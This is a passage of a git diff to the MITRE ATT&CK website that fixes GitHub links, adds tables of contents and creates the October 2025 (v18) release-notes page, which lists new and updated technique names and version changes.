Campaigns and Software for Enterprise, Mobile, and ICS. The biggest changes in ATT&CK v14 are a large expansion of detection notes and analytics to Techniques in Enterprise, a minor scoping change to Enterprise resulting in coverage of [Financial Theft](/techniques/T1657) and [Voice](/techniques/T1566/004) [Phishing](/techniques/T1598/004), structured Detections in Mobile, and the (re-)addition of [Assets](/assets) to ICS. An [accompanying blog post](https://medium.com/mitre-attack/attack-v14-fa473603f86b ) describes these changes as well as improvements across ATT&CK's various domains and platforms. -This release also includes a [human-readable detailed changelog](/docs/changelogs/v13.1-v14.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v13.1-v14.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). +This release also includes a [human-readable detailed changelog](/docs/changelogs/v13.1-v14.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v13.1-v14.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). This version of ATT&CK contains 760 Pieces of Software, 143 Groups, and 24 Campaigns. Broken out by domain: @@ -32,6 +32,10 @@ This version of ATT&CK contains 760 Pieces of Software, 143 Groups, and 24 Campa * Deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced. * Deletions: ATT&CK objects which are no longer found in the STIX data. +## Table of Contents + +[TOC] + ## Techniques ### Enterprise diff --git a/modules/resources/static_pages/updates-october-2024.md b/modules/resources/static_pages/updates-october-2024.md index 01bf6229edd..65ac696a82a 100644 --- a/modules/resources/static_pages/updates-october-2024.md +++ b/modules/resources/static_pages/updates-october-2024.md @@ -14,7 +14,7 @@ The October 2024 (v16) ATT&CK release updates Techniques, Groups, Campaigns and The biggest changes in ATT&CK v16 are a refactoring of Cloud platforms to better reflect real-world adversary activity along with improvements to platform descriptions, a dramatic expansion in the number of techniques with detection notes and analytics, and continued improvements to coverage of criminal threat actors. As a result of Cloud platform refactoring, the Azure AD, Office 365, and Google Workspace platforms have been removed from Enterprise ATT&CK and the [Identity Provider](/matrices/enterprise/cloud/identityprovider/) and [Office Suite](/matrices/enterprise/cloud/officesuite/) platforms have been added in their place. An [accompanying blog post](https://medium.com/mitre-attack/attack-v16-561c76af94cf) describes these changes as well as additional improvements across Enterprise ATT&CK's various platforms. -This release also includes a [human-readable detailed changelog](/docs/changelogs/v15.1-v16.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v15.1-v16.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/master/mitreattack/diffStix/README.md). +This release also includes a [human-readable detailed changelog](/docs/changelogs/v15.1-v16.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v15.1-v16.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). This version of ATT&CK contains 844 Pieces of Software, 186 Groups, and 42 Campaigns Broken out by domain: @@ -37,6 +37,10 @@ Broken out by domain: * Deletions: ATT&CK objects which are no longer found in the STIX data. +## Table of Contents + +[TOC] + ## Techniques ### Enterprise diff --git a/modules/resources/static_pages/updates-october-2025.md b/modules/resources/static_pages/updates-october-2025.md new file mode 100644 index 00000000000..dc7f6ae1be1 --- /dev/null +++ b/modules/resources/static_pages/updates-october-2025.md @@ -0,0 +1,4307 @@ +Title: Updates - October 2025 +Date: October 2025 +Category: Cyber Threat Intelligence +Authors: Adam Pennington +Template: resources/update-post +url: /resources/updates/updates-october-2025 +save_as: resources/updates/updates-october-2025/index.html + +| Version | Start Date | End Date | Data | Changelogs | +|:--------|:-----------|:---------|:-----|:-----------| +| [ATT&CK v18](/versions/v18) | October 28, 2025 | Current version of ATT&CK | [v18.0 on MITRE/CTI](https://github.com/mitre/cti/releases/tag/ATT%26CK-v18.0) | 17.1 - 18.0 [Details](/docs/changelogs/v17.1-v18.0/changelog-detailed.html) ([JSON](/docs/changelogs/v17.1-v18.0/changelog.json)) | + +The October 2025 (v18) ATT&CK release updates Techniques, Groups, Campaigns and Software for Enterprise, Mobile, and ICS. + +The biggest changes in ATT&CK are related to the defensive portion of the framework. Detections in techniques have been replaced with [Detection Strategies](/detectionstrategies/) resulting in the addition of [Detection Strategies](/detectionstrategies/) and [Analytics](/analytics/), major updates to [Data Components](/datacomponents), as well as the deprecation of Data Sources. ATT&CK's STIX representation, including these new objects, is described in detail in [ATT&CK Data Model](https://mitre-attack.github.io/attack-data-model/docs/). A post describing the defensive changes to the ATT&CK website and the rationalle behind them was published to [ATT&CK's Blog](https://medium.com/mitre-attack/smarter-detection-strategies-in-attack-7e6738fec31f) in July 2025, and an [accompanying blog post](https://medium.com/mitre-attack/attack-v18-8f82d839ee9e) describes changes across the release. + +In this release the [Mobile](/matrices/mobile/) Technique [Abuse Accessibility Features](/techniques/T1453/) has been un-deprecated (last seen in [ATT&CK v6](/versions/v6/techniques/T1453/)). + +This release also includes a [human-readable detailed changelog](/docs/changelogs/v17.1-v18.0/changelog-detailed.html) showing more specifically what changed in updated ATT&CK objects, and a [machine-readable JSON changelog](/docs/changelogs/v17.1-v18.0/changelog.json), whose format is described in [ATT&CK's Github](https://github.com/mitre-attack/mitreattack-python/blob/main/mitreattack/diffStix/README.md). + +## Statistics + +This version of ATT&CK contains 910 Software, 176 Groups, and 55 Campaigns. + +Broken out by domain: + +* Enterprise: 14 Tactics, 216 Techniques, 475 Sub-Techniques, 172 Groups, 784 Software, 52 Campaigns, 44 Mitigations, 691 Detection Strategies, 1739 Analytics, and 106 Data Components +* Mobile: 12 Tactics, 77 Techniques, 47 Sub-Techniques, 17 Groups, 122 Software, 3 Campaigns, 13 Mitigations, 124 Detection Strategies, 211 Analytics, and 17 Data Components +* ICS: 12 Tactics, 83 Techniques, 14 Groups, 23 Software, 7 Campaigns, 52 Mitigations, 18 Assets, 83 Detection Strategies, 82 Analytics, and 36 Data Components + +## Release Notes Terminology + +* New objects: ATT&CK objects which are only present in the new release. +* Major version changes: ATT&CK objects that have a major version change. (e.g. 1.0 → 2.0) +* Minor version changes: ATT&CK objects that have a minor version change. (e.g. 1.0 → 1.1) +* Other version changes: ATT&CK objects that have a version change of any other kind. (e.g. 1.0 → 1.2) +* Patches: ATT&CK objects that have been patched while keeping the version the same. (e.g., 1.0 → 1.0 but something like a typo, a URL, or some metadata was fixed) +* Object revocations: ATT&CK objects which are revoked by a different object. +* Object deprecations: ATT&CK objects which are deprecated and no longer in use, and not replaced. +* Object deletions: ATT&CK objects which are no longer found in the STIX data. + +## Table of Contents + +[TOC] + +## Techniques + +### Enterprise + +#### New Techniques + +* Command and Scripting Interpreter: [Container CLI/API](/techniques/T1059/013) (v1.0) +* Data from Information Repositories: [Databases](/techniques/T1213/006) (v1.0) +* [Delay Execution](/techniques/T1678) (v1.0) +* Event Triggered Execution: [Python Startup Hooks](/techniques/T1546/018) (v1.0) +* Impair Defenses: [Disable or Modify Network Device Firewall](/techniques/T1562/013) (v1.0) +* [Local Storage Discovery](/techniques/T1680) (v1.0) +* Masquerading: [Browser Fingerprint](/techniques/T1036/012) (v1.0) +* [Poisoned Pipeline Execution](/techniques/T1677) (v1.0) +* [Search Threat Vendor Data](/techniques/T1681) (v1.0) +* [Selective Exclusion](/techniques/T1679) (v1.0) +* Software Discovery: [Backup Software Discovery](/techniques/T1518/002) (v1.0) +* User Execution: [Malicious Library](/techniques/T1204/005) (v1.0) + +#### Major Version Changes + +* Search Closed Sources: [Threat Intel Vendors](/techniques/T1597/001) (v1.0→v2.0) +* [System Information Discovery](/techniques/T1082) (v2.6→v3.0) +* Unsecured Credentials: [Shell History](/techniques/T1552/003) (v1.2→v2.0) +* Virtualization/Sandbox Evasion: [Time Based Checks](/techniques/T1497/003) (v1.3→v2.0) + +#### Minor Version Changes + +* [Account Access Removal](/techniques/T1531) (v1.4→v1.5) +* Account Manipulation: [Additional Local or Domain Groups](/techniques/T1098/007) (v1.0→v1.1) +* Account Manipulation: [Device Registration](/techniques/T1098/005) (v1.3→v1.4) +* [Acquire Infrastructure](/techniques/T1583) (v1.4→v1.5) + * [Botnet](/techniques/T1583/005) (v1.1→v1.2) +* Application Layer Protocol: [DNS](/techniques/T1071/004) (v1.3→v1.4) +* Application Layer Protocol: [File Transfer Protocols](/techniques/T1071/002) (v1.3→v1.4) +* Application Layer Protocol: [Web Protocols](/techniques/T1071/001) (v1.4→v1.5) +* [Brute Force](/techniques/T1110) (v2.7→v2.8) + * [Password Spraying](/techniques/T1110/003) (v1.7→v1.8) +* Command and Scripting Interpreter: [Unix Shell](/techniques/T1059/004) (v1.3→v1.4) +* Compromise Infrastructure: [DNS Server](/techniques/T1584/002) (v1.2→v1.3) +* Compromise Infrastructure: [Network Devices](/techniques/T1584/008) (v1.0→v1.1) +* Create Account: [Local Account](/techniques/T1136/001) (v1.4→v1.5) +* [Data from Local System](/techniques/T1005) (v1.7→v1.8) +* Develop Capabilities: [Malware](/techniques/T1587/001) (v1.2→v1.3) +* [Email Spoofing](/techniques/T1672) (v1.0→v1.1) +* Event Triggered Execution: [Component Object Model Hijacking](/techniques/T1546/015) (v1.2→v1.3) +* [Exploit Public-Facing Application](/techniques/T1190) (v2.7→v2.8) +* [External Remote Services](/techniques/T1133) (v2.4→v2.5) +* [Forced Authentication](/techniques/T1187) (v1.3→v1.4) +* Gather Victim Host Information: [Software](/techniques/T1592/002) (v1.1→v1.2) +* Gather Victim Identity Information: [Email Addresses](/techniques/T1589/002) (v1.2→v1.3) +* Hide Artifacts: [Hidden Files and Directories](/techniques/T1564/001) (v1.1→v1.2) +* Hide Artifacts: [Hidden Window](/techniques/T1564/003) (v1.3→v1.4) +* Hide Artifacts: [Run Virtual Instance](/techniques/T1564/006) (v1.2→v1.3) +* [Hide Infrastructure](/techniques/T1665) (v1.1→v1.2) +* Hijack Execution Flow: [DLL](/techniques/T1574/001) (v2.0→v2.1) +* Hijack Execution Flow: [Services Registry Permissions Weakness](/techniques/T1574/011) (v1.2→v1.3) +* Impair Defenses: [Disable or Modify Tools](/techniques/T1562/001) (v1.6→v1.7) +* [Indicator Removal](/techniques/T1070) (v2.3→v2.4) + * [Relocate Malware](/techniques/T1070/010) (v1.1→v1.2) +* [Ingress Tool Transfer](/techniques/T1105) (v2.5→v2.6) +* Network Boundary Bridging: [Network Address Translation Traversal](/techniques/T1599/001) (v1.1→v1.2) +* [Non-Standard Port](/techniques/T1571) (v1.2→v1.3) +* Obfuscated Files or Information: [Fileless Storage](/techniques/T1027/011) (v2.0→v2.1) +* Obfuscated Files or Information: [HTML Smuggling](/techniques/T1027/006) (v1.2→v1.3) +* Obtain Capabilities: [Tool](/techniques/T1588/002) (v1.1→v1.2) +* Phishing: [Spearphishing Link](/techniques/T1566/002) (v2.7→v2.8) +* Phishing for Information: [Spearphishing Link](/techniques/T1598/003) (v1.6→v1.7) +* Proxy: [External Proxy](/techniques/T1090/002) (v1.2→v1.3) +* Proxy: [Multi-hop Proxy](/techniques/T1090/003) (v2.3→v2.4) +* Remote Services: [Remote Desktop Protocol](/techniques/T1021/001) (v1.3→v1.4) +* [Rootkit](/techniques/T1014) (v1.2→v1.3) +* Scheduled Task/Job: [Scheduled Task](/techniques/T1053/005) (v1.7→v1.8) +* [Service Stop](/techniques/T1489) (v1.3→v1.4) +* Software Extensions: [Browser Extensions](/techniques/T1176/001) (v1.0→v1.1) +* Stage Capabilities: [Upload Malware](/techniques/T1608/001) (v1.2→v1.3) +* [Steal Web Session Cookie](/techniques/T1539) (v1.4→v1.5) +* [Supply Chain Compromise](/techniques/T1195) (v1.6→v1.7) + * [Compromise Software Dependencies and Development Tools](/techniques/T1195/001) (v1.2→v1.3) +* System Binary Proxy Execution: [Rundll32](/techniques/T1218/011) (v2.4→v2.5) +* System Network Configuration Discovery: [Internet Connection Discovery](/techniques/T1016/001) (v1.1→v1.2) +* System Network Configuration Discovery: [Wi-Fi Discovery](/techniques/T1016/002) (v1.0→v1.1) +* [System Service Discovery](/techniques/T1007) (v1.5→v1.6) +* [System Shutdown/Reboot](/techniques/T1529) (v1.4→v1.5) +* User Execution: [Malicious Copy and Paste](/techniques/T1204/004) (v1.0→v1.1) +* User Execution: [Malicious File](/techniques/T1204/002) (v1.5→v1.6) + +#### Patches + +* [Abuse Elevation Control Mechanism](/techniques/T1548) (v1.5) + * [Bypass User Account Control](/techniques/T1548/002) (v2.2) + * [Elevated Execution with Prompt](/techniques/T1548/004) (v1.1) + * [Setuid and Setgid](/techniques/T1548/001) (v1.2) + * [Sudo and Sudo Caching](/techniques/T1548/003) (v1.1) +* [Access Token Manipulation](/techniques/T1134) (v2.1) + * [Create Process with Token](/techniques/T1134/002) (v1.3) + * [Make and Impersonate Token](/techniques/T1134/003) (v1.2) + * [Parent PID Spoofing](/techniques/T1134/004) (v1.1) + * [SID-History Injection](/techniques/T1134/005) (v1.1) + * [Token Impersonation/Theft](/techniques/T1134/001) (v1.3) +* [Account Discovery](/techniques/T1087) (v2.6) + * [Cloud Account](/techniques/T1087/004) (v1.3) + * [Domain Account](/techniques/T1087/002) (v1.2) + * [Email Account](/techniques/T1087/003) (v1.2) + * [Local Account](/techniques/T1087/001) (v1.5) +* [Account Manipulation](/techniques/T1098) (v2.8) + * [Additional Cloud Credentials](/techniques/T1098/001) (v2.8) + * [Additional Cloud Roles](/techniques/T1098/003) (v2.5) + * [Additional Email Delegate Permissions](/techniques/T1098/002) (v2.2) + * [SSH Authorized Keys](/techniques/T1098/004) (v1.4) +* [Acquire Access](/techniques/T1650) (v1.0) +* Acquire Infrastructure: [DNS Server](/techniques/T1583/002) (v1.0) +* Acquire Infrastructure: [Domains](/techniques/T1583/001) (v1.4) +* Acquire Infrastructure: [Server](/techniques/T1583/004) (v1.3) +* Acquire Infrastructure: [Virtual Private Server](/techniques/T1583/003) (v1.1) +* Acquire Infrastructure: [Web Services](/techniques/T1583/006) (v1.3) +* [Active Scanning](/techniques/T1595) (v1.0) + * [Scanning IP Blocks](/techniques/T1595/001) (v1.1) + * [Vulnerability Scanning](/techniques/T1595/002) (v1.0) + * [Wordlist Scanning](/techniques/T1595/003) (v1.0) +* [Adversary-in-the-Middle](/techniques/T1557) (v2.5) + * [ARP Cache Poisoning](/techniques/T1557/002) (v1.1) + * [DHCP Spoofing](/techniques/T1557/003) (v1.1) + * [LLMNR/NBT-NS Poisoning and SMB Relay](/techniques/T1557/001) (v1.4) +* [Application Layer Protocol](/techniques/T1071) (v2.4) + * [Mail Protocols](/techniques/T1071/003) (v1.2) +* [Application Window Discovery](/techniques/T1010) (v1.3) +* [Archive Collected Data](/techniques/T1560) (v1.0) + * [Archive via Custom Method](/techniques/T1560/003) (v1.0) + * [Archive via Library](/techniques/T1560/002) (v1.0) + * [Archive via Utility](/techniques/T1560/001) (v1.3) +* [Audio Capture](/techniques/T1123) (v1.0) +* [Automated Collection](/techniques/T1119) (v1.4) +* [Automated Exfiltration](/techniques/T1020) (v1.3) + * [Traffic Duplication](/techniques/T1020/001) (v1.4) +* [BITS Jobs](/techniques/T1197) (v1.5) +* [Boot or Logon Autostart Execution](/techniques/T1547) (v1.3) + * [Active Setup](/techniques/T1547/014) (v1.1) + * [Authentication Package](/techniques/T1547/002) (v1.1) + * [Kernel Modules and Extensions](/techniques/T1547/006) (v1.4) + * [LSASS Driver](/techniques/T1547/008) (v1.1) + * [Login Items](/techniques/T1547/015) (v1.1) + * [Port Monitors](/techniques/T1547/010) (v1.3) + * [Print Processors](/techniques/T1547/012) (v1.2) + * [Re-opened Applications](/techniques/T1547/007) (v1.2) + * [Registry Run Keys / Startup Folder](/techniques/T1547/001) (v2.1) + * [Security Support Provider](/techniques/T1547/005) (v1.1) + * [Shortcut Modification](/techniques/T1547/009) (v1.3) + * [Time Providers](/techniques/T1547/003) (v1.2) + * [Winlogon Helper DLL](/techniques/T1547/004) (v1.3) + * [XDG Autostart Entries](/techniques/T1547/013) (v1.2) +* [Boot or Logon Initialization Scripts](/techniques/T1037) (v2.4) + * [Login Hook](/techniques/T1037/002) (v2.0) + * [Logon Script (Windows)](/techniques/T1037/001) (v1.0) + * [Network Logon Script](/techniques/T1037/003) (v1.0) + * [RC Scripts](/techniques/T1037/004) (v2.2) + * [Startup Items](/techniques/T1037/005) (v1.1) +* [Browser Information Discovery](/techniques/T1217) (v2.0) +* [Browser Session Hijacking](/techniques/T1185) (v2.1) +* Brute Force: [Credential Stuffing](/techniques/T1110/004) (v1.7) +* Brute Force: [Password Cracking](/techniques/T1110/002) (v1.4) +* Brute Force: [Password Guessing](/techniques/T1110/001) (v1.7) +* [Build Image on Host](/techniques/T1612) (v1.3) +* [Clipboard Data](/techniques/T1115) (v1.2) +* [Cloud Infrastructure Discovery](/techniques/T1580) (v1.3) +* [Cloud Service Dashboard](/techniques/T1538) (v1.5) +* [Cloud Service Discovery](/techniques/T1526) (v1.4) +* [Cloud Storage Object Discovery](/techniques/T1619) (v1.0) +* [Command and Scripting Interpreter](/techniques/T1059) (v2.6) + * [AppleScript](/techniques/T1059/002) (v1.3) + * [JavaScript](/techniques/T1059/007) (v2.2) + * [Network Device CLI](/techniques/T1059/008) (v1.2) + * [PowerShell](/techniques/T1059/001) (v1.5) + * [Python](/techniques/T1059/006) (v1.1) + * [Visual Basic](/techniques/T1059/005) (v1.5) + * [Windows Command Shell](/techniques/T1059/003) (v1.5) +* [Communication Through Removable Media](/techniques/T1092) (v1.0) +* [Compromise Accounts](/techniques/T1586) (v1.2) + * [Cloud Accounts](/techniques/T1586/003) (v1.1) + * [Email Accounts](/techniques/T1586/002) (v1.1) + * [Social Media Accounts](/techniques/T1586/001) (v1.1) +* [Compromise Host Software Binary](/techniques/T1554) (v2.2) +* [Compromise Infrastructure](/techniques/T1584) (v1.6) + * [Botnet](/techniques/T1584/005) (v1.0) + * [Domains](/techniques/T1584/001) (v1.4) + * [Server](/techniques/T1584/004) (v1.2) + * [Virtual Private Server](/techniques/T1584/003) (v1.1) + * [Web Services](/techniques/T1584/006) (v1.2) +* [Container Administration Command](/techniques/T1609) (v1.3) +* [Container and Resource Discovery](/techniques/T1613) (v1.1) +* [Create Account](/techniques/T1136) (v2.6) + * [Cloud Account](/techniques/T1136/003) (v1.6) + * [Domain Account](/techniques/T1136/002) (v1.1) +* [Create or Modify System Process](/techniques/T1543) (v1.2) + * [Launch Agent](/techniques/T1543/001) (v1.5) + * [Launch Daemon](/techniques/T1543/004) (v1.3) + * [Systemd Service](/techniques/T1543/002) (v1.6) + * [Windows Service](/techniques/T1543/003) (v1.6) +* [Credentials from Password Stores](/techniques/T1555) (v1.2) + * [Credentials from Web Browsers](/techniques/T1555/003) (v1.2) + * [Keychain](/techniques/T1555/001) (v1.1) + * [Password Managers](/techniques/T1555/005) (v1.1) + * [Securityd Memory](/techniques/T1555/002) (v1.2) + * [Windows Credential Manager](/techniques/T1555/004) (v1.1) +* [Data Destruction](/techniques/T1485) (v1.4) +* [Data Encoding](/techniques/T1132) (v1.3) + * [Non-Standard Encoding](/techniques/T1132/002) (v1.1) + * [Standard Encoding](/techniques/T1132/001) (v1.1) +* [Data Encrypted for Impact](/techniques/T1486) (v1.5) +* [Data Manipulation](/techniques/T1565) (v1.1) + * [Runtime Data Manipulation](/techniques/T1565/003) (v1.2) + * [Stored Data Manipulation](/techniques/T1565/001) (v1.1) + * [Transmitted Data Manipulation](/techniques/T1565/002) (v1.1) +* [Data Obfuscation](/techniques/T1001) (v1.2) + * [Junk Data](/techniques/T1001/001) (v1.1) + * [Protocol or Service Impersonation](/techniques/T1001/003) (v2.1) + * [Steganography](/techniques/T1001/002) (v1.1) +* [Data Staged](/techniques/T1074) (v1.5) + * [Local Data Staging](/techniques/T1074/001) (v1.2) + * [Remote Data Staging](/techniques/T1074/002) (v1.2) +* [Data Transfer Size Limits](/techniques/T1030) (v1.1) +* [Data from Cloud Storage](/techniques/T1530) (v2.2) +* [Data from Configuration Repository](/techniques/T1602) (v1.1) + * [Network Device Configuration Dump](/techniques/T1602/002) (v1.1) + * [SNMP (MIB Dump)](/techniques/T1602/001) (v1.1) +* [Data from Information Repositories](/techniques/T1213) (v3.4) + * [Code Repositories](/techniques/T1213/003) (v1.2) + * [Confluence](/techniques/T1213/001) (v1.1) + * [Sharepoint](/techniques/T1213/002) (v1.1) +* [Data from Network Shared Drive](/techniques/T1039) (v1.5) +* [Data from Removable Media](/techniques/T1025) (v1.3) +* [Debugger Evasion](/techniques/T1622) (v1.1) +* [Defacement](/techniques/T1491) (v1.4) + * [External Defacement](/techniques/T1491/002) (v1.2) + * [Internal Defacement](/techniques/T1491/001) (v1.2) +* [Deobfuscate/Decode Files or Information](/techniques/T1140) (v1.4) +* [Deploy Container](/techniques/T1610) (v1.4) +* [Develop Capabilities](/techniques/T1587) (v1.1) + * [Code Signing Certificates](/techniques/T1587/002) (v1.1) + * [Digital Certificates](/techniques/T1587/003) (v1.2) + * [Exploits](/techniques/T1587/004) (v1.0) +* [Direct Volume Access](/techniques/T1006) (v2.3) +* [Disk Wipe](/techniques/T1561) (v1.2) + * [Disk Content Wipe](/techniques/T1561/001) (v1.2) + * [Disk Structure Wipe](/techniques/T1561/002) (v1.2) +* [Domain Trust Discovery](/techniques/T1482) (v1.2) +* [Domain or Tenant Policy Modification](/techniques/T1484) (v3.2) + * [Group Policy Modification](/techniques/T1484/001) (v1.1) + * [Trust Modification](/techniques/T1484/002) (v2.2) +* [Drive-by Compromise](/techniques/T1189) (v1.7) +* [Dynamic Resolution](/techniques/T1568) (v1.1) + * [DNS Calculation](/techniques/T1568/003) (v1.1) + * [Domain Generation Algorithms](/techniques/T1568/002) (v1.2) + * [Fast Flux DNS](/techniques/T1568/001) (v1.1) +* [Email Collection](/techniques/T1114) (v2.6) + * [Email Forwarding Rule](/techniques/T1114/003) (v1.4) + * [Local Email Collection](/techniques/T1114/001) (v1.1) + * [Remote Email Collection](/techniques/T1114/002) (v1.3) +* [Encrypted Channel](/techniques/T1573) (v1.2) + * [Asymmetric Cryptography](/techniques/T1573/002) (v1.2) + * [Symmetric Cryptography](/techniques/T1573/001) (v1.2) +* [Endpoint Denial of Service](/techniques/T1499) (v1.2) + * [Application Exhaustion Flood](/techniques/T1499/003) (v1.3) + * [Application or System Exploitation](/techniques/T1499/004) (v1.3) + * [OS Exhaustion Flood](/techniques/T1499/001) (v1.2) + * [Service Exhaustion Flood](/techniques/T1499/002) (v1.4) +* [Escape to Host](/techniques/T1611) (v1.6) +* [Establish Accounts](/techniques/T1585) (v1.3) + * [Cloud Accounts](/techniques/T1585/003) (v1.1) + * [Email Accounts](/techniques/T1585/002) (v1.1) + * [Social Media Accounts](/techniques/T1585/001) (v1.1) +* [Event Triggered Execution](/techniques/T1546) (v1.4) + * [Accessibility Features](/techniques/T1546/008) (v1.2) + * [AppCert DLLs](/techniques/T1546/009) (v1.1) + * [AppInit DLLs](/techniques/T1546/010) (v1.2) + * [Application Shimming](/techniques/T1546/011) (v1.1) + * [Change Default File Association](/techniques/T1546/001) (v1.1) + * [Emond](/techniques/T1546/014) (v1.1) + * [Image File Execution Options Injection](/techniques/T1546/012) (v1.2) + * [LC_LOAD_DYLIB Addition](/techniques/T1546/006) (v1.1) + * [Netsh Helper DLL](/techniques/T1546/007) (v1.1) + * [PowerShell Profile](/techniques/T1546/013) (v1.2) + * [Screensaver](/techniques/T1546/002) (v1.3) + * [Trap](/techniques/T1546/005) (v1.1) + * [Udev Rules](/techniques/T1546/017) (v1.0) + * [Unix Shell Configuration Modification](/techniques/T1546/004) (v2.2) + * [Windows Management Instrumentation Event Subscription](/techniques/T1546/003) (v1.5) +* [Execution Guardrails](/techniques/T1480) (v1.3) + * [Environmental Keying](/techniques/T1480/001) (v1.1) +* [Exfiltration Over Alternative Protocol](/techniques/T1048) (v1.6) + * [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](/techniques/T1048/002) (v1.2) + * [Exfiltration Over Symmetric Encrypted Non-C2 Protocol](/techniques/T1048/001) (v1.1) + * [Exfiltration Over Unencrypted Non-C2 Protocol](/techniques/T1048/003) (v2.2) +* [Exfiltration Over C2 Channel](/techniques/T1041) (v2.3) +* [Exfiltration Over Other Network Medium](/techniques/T1011) (v1.2) + * [Exfiltration Over Bluetooth](/techniques/T1011/001) (v1.2) +* [Exfiltration Over Physical Medium](/techniques/T1052) (v1.3) + * [Exfiltration over USB](/techniques/T1052/001) (v1.2) +* [Exfiltration Over Web Service](/techniques/T1567) (v1.5) + * [Exfiltration to Cloud Storage](/techniques/T1567/002) (v1.3) + * [Exfiltration to Code Repository](/techniques/T1567/001) (v1.2) +* [Exploitation for Client Execution](/techniques/T1203) (v1.5) +* [Exploitation for Credential Access](/techniques/T1212) (v1.6) +* [Exploitation for Defense Evasion](/techniques/T1211) (v1.5) +* [Exploitation for Privilege Escalation](/techniques/T1068) (v1.6) +* [Exploitation of Remote Services](/techniques/T1210) (v1.2) +* [Fallback Channels](/techniques/T1008) (v1.1) +* [File and Directory Discovery](/techniques/T1083) (v1.7) +* [File and Directory Permissions Modification](/techniques/T1222) (v2.3) + * [Linux and Mac File and Directory Permissions Modification](/techniques/T1222/002) (v1.2) + * [Windows File and Directory Permissions Modification](/techniques/T1222/001) (v1.2) +* [Firmware Corruption](/techniques/T1495) (v1.3) +* [Forge Web Credentials](/techniques/T1606) (v1.5) + * [SAML Tokens](/techniques/T1606/002) (v1.4) + * [Web Cookies](/techniques/T1606/001) (v1.1) +* [Gather Victim Host Information](/techniques/T1592) (v1.2) + * [Client Configurations](/techniques/T1592/004) (v1.1) + * [Firmware](/techniques/T1592/003) (v1.0) + * [Hardware](/techniques/T1592/001) (v1.1) +* [Gather Victim Identity Information](/techniques/T1589) (v1.3) + * [Credentials](/techniques/T1589/001) (v1.2) + * [Employee Names](/techniques/T1589/003) (v1.0) +* [Gather Victim Network Information](/techniques/T1590) (v1.0) + * [DNS](/techniques/T1590/002) (v1.2) + * [Domain Properties](/techniques/T1590/001) (v1.1) + * [IP Addresses](/techniques/T1590/005) (v1.0) + * [Network Security Appliances](/techniques/T1590/006) (v1.0) + * [Network Topology](/techniques/T1590/004) (v1.0) + * [Network Trust Dependencies](/techniques/T1590/003) (v1.0) +* [Gather Victim Org Information](/techniques/T1591) (v1.1) + * [Business Relationships](/techniques/T1591/002) (v1.0) + * [Determine Physical Locations](/techniques/T1591/001) (v1.1) + * [Identify Business Tempo](/techniques/T1591/003) (v1.0) + * [Identify Roles](/techniques/T1591/004) (v1.0) +* [Group Policy Discovery](/techniques/T1615) (v1.1) +* [Hardware Additions](/techniques/T1200) (v1.7) +* [Hide Artifacts](/techniques/T1564) (v1.4) + * [Email Hiding Rules](/techniques/T1564/008) (v1.4) + * [Extended Attributes](/techniques/T1564/014) (v1.0) + * [Hidden File System](/techniques/T1564/005) (v1.1) + * [Hidden Users](/techniques/T1564/002) (v1.2) + * [NTFS File Attributes](/techniques/T1564/004) (v1.2) + * [Process Argument Spoofing](/techniques/T1564/010) (v1.1) + * [Resource Forking](/techniques/T1564/009) (v1.1) + * [VBA Stomping](/techniques/T1564/007) (v1.2) +* [Hijack Execution Flow](/techniques/T1574) (v1.3) + * [COR_PROFILER](/techniques/T1574/012) (v1.1) + * [Dylib Hijacking](/techniques/T1574/004) (v2.1) + * [Dynamic Linker Hijacking](/techniques/T1574/006) (v2.1) + * [Executable Installer File Permissions Weakness](/techniques/T1574/005) (v1.1) + * [KernelCallbackTable](/techniques/T1574/013) (v1.0) + * [Path Interception by PATH Environment Variable](/techniques/T1574/007) (v1.2) + * [Path Interception by Search Order Hijacking](/techniques/T1574/008) (v1.1) + * [Path Interception by Unquoted Path](/techniques/T1574/009) (v1.1) + * [Services File Permissions Weakness](/techniques/T1574/010) (v1.1) +* [Impair Defenses](/techniques/T1562) (v1.7) + * [Disable Windows Event Logging](/techniques/T1562/002) (v1.4) + * [Disable or Modify Cloud Firewall](/techniques/T1562/007) (v1.3) + * [Disable or Modify Cloud Logs](/techniques/T1562/008) (v2.1) + * [Disable or Modify System Firewall](/techniques/T1562/004) (v1.3) + * [Downgrade Attack](/techniques/T1562/010) (v1.3) + * [Impair Command History Logging](/techniques/T1562/003) (v2.3) + * [Indicator Blocking](/techniques/T1562/006) (v1.5) + * [Safe Mode Boot](/techniques/T1562/009) (v1.1) +* [Implant Internal Image](/techniques/T1525) (v2.2) +* Indicator Removal: [Clear Command History](/techniques/T1070/003) (v1.6) +* Indicator Removal: [Clear Linux or Mac System Logs](/techniques/T1070/002) (v1.0) +* Indicator Removal: [Clear Windows Event Logs](/techniques/T1070/001) (v1.5) +* Indicator Removal: [File Deletion](/techniques/T1070/004) (v1.2) +* Indicator Removal: [Network Share Connection Removal](/techniques/T1070/005) (v1.2) +* Indicator Removal: [Timestomp](/techniques/T1070/006) (v1.2) +* [Indirect Command Execution](/techniques/T1202) (v1.3) +* [Inhibit System Recovery](/techniques/T1490) (v1.6) +* [Input Capture](/techniques/T1056) (v1.4) + * [Credential API Hooking](/techniques/T1056/004) (v1.2) + * [GUI Input Capture](/techniques/T1056/002) (v1.3) + * [Keylogging](/techniques/T1056/001) (v1.3) + * [Web Portal Capture](/techniques/T1056/003) (v1.1) +* [Inter-Process Communication](/techniques/T1559) (v1.4) + * [Component Object Model](/techniques/T1559/001) (v1.2) + * [Dynamic Data Exchange](/techniques/T1559/002) (v1.4) +* [Internal Spearphishing](/techniques/T1534) (v1.4) +* [Lateral Tool Transfer](/techniques/T1570) (v1.4) +* [Masquerading](/techniques/T1036) (v1.8) + * [Double File 